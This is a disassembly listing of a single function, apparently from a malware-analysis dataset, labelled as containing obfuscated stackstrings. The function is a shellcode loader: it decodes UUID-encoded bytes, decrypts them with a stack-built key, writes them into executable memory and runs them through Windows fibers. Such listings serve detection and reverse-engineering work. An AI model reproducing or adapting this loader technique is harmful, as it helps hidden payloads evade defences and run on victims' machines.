Function at 0x401678
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xa0
call fcn.00402980
mov dword [esp], 0x5d8a0577
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [esp], 0x5d8a0657
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0xa76406c1
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0xa76409bd
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0xa764090f
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0x5d8a0625
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [esp], 0xa76408df
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0x5d8a076f
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [ebp - 0x5c], str.c2fc94d9_89ea_d366_3ac6_bbab6d219673
mov dword [ebp - 0x58], str.a5ea81c2_0208_bba0_6175_902f07bd3650
mov dword [ebp - 0x54], str.392c5843_ffec_ed24_6e65_9318c89d0ea0
mov dword [ebp - 0x50], str.7d0b796d_ef86_eb8d_98dc_37e3b723bed1
mov dword [ebp - 0x4c], str.b9ed6010_0f88_c034_4b92_7aaf7db1efc8
mov dword [ebp - 0x48], str.d55cf9d9_643e_8145_7b23_e01af5b17794
mov dword [ebp - 0x44], str.47cd4c07_65b3_485b_f40c_c35d003ac415
mov dword [ebp - 0x40], str.7bfaddcc_5d5b_8228_4ba5_b7db684293a5
mov dword [ebp - 0x3c], str.9d643cab_ef84_0b2f_423c_c7bf899f8412
mov dword [ebp - 0x38], str.4e3e4838_8fee_35cb_c979_67758613987a
mov dword [ebp - 0x34], str.d461b062_5e54_eb3d_9235_64c4f6d88f68
mov dword [ebp - 0x30], str.528b0e13_0f12_97fe_2cf0_cc84f3802e37
mov dword [ebp - 0x2c], str.0928cea8_4ab6_25b7_9a3c_f6e9d4e5c742
mov dword [ebp - 0x10], 0xd
mov eax, dword [ebp - 0x10]
shl eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4017c9
mov eax, 0xffffffff
jmp 0x401955
mov dword [ebp - 0xc], 0
jmp 0x401819
mov eax, dword [ebp - 0xc]
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.RPCRT4.dll_UuidFromStringA]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401815
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x401955
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jl 0x4017d2
mov eax, dword [ebp - 0x10]
shl eax, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x6d], 0x4c7a5936
mov dword [ebp - 0x69], 0x59583165
mov dword [ebp - 0x65], 0x4e303441
mov dword [ebp - 0x61], 0x79435538
mov byte [ebp - 0x5d], 0
mov dword [ebp - 0x7a], 0x28732125
mov dword [ebp - 0x76], 0x5353494d
mov dword [ebp - 0x72], 0x29474e49
mov byte [ebp - 0x6e], 0
lea eax, [ebp - 0x7a]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x6d]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.004015d4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x84], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call eax
sub esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
lea eax, [ebp - 0x84]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x80]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00402423
mov ebx, dword [ebp - 0x80]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call fcn.004023da
mov eax, dword [ebp - 0x80]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFiber]
call eax
sub esp, 0xc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SwitchToFiber]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret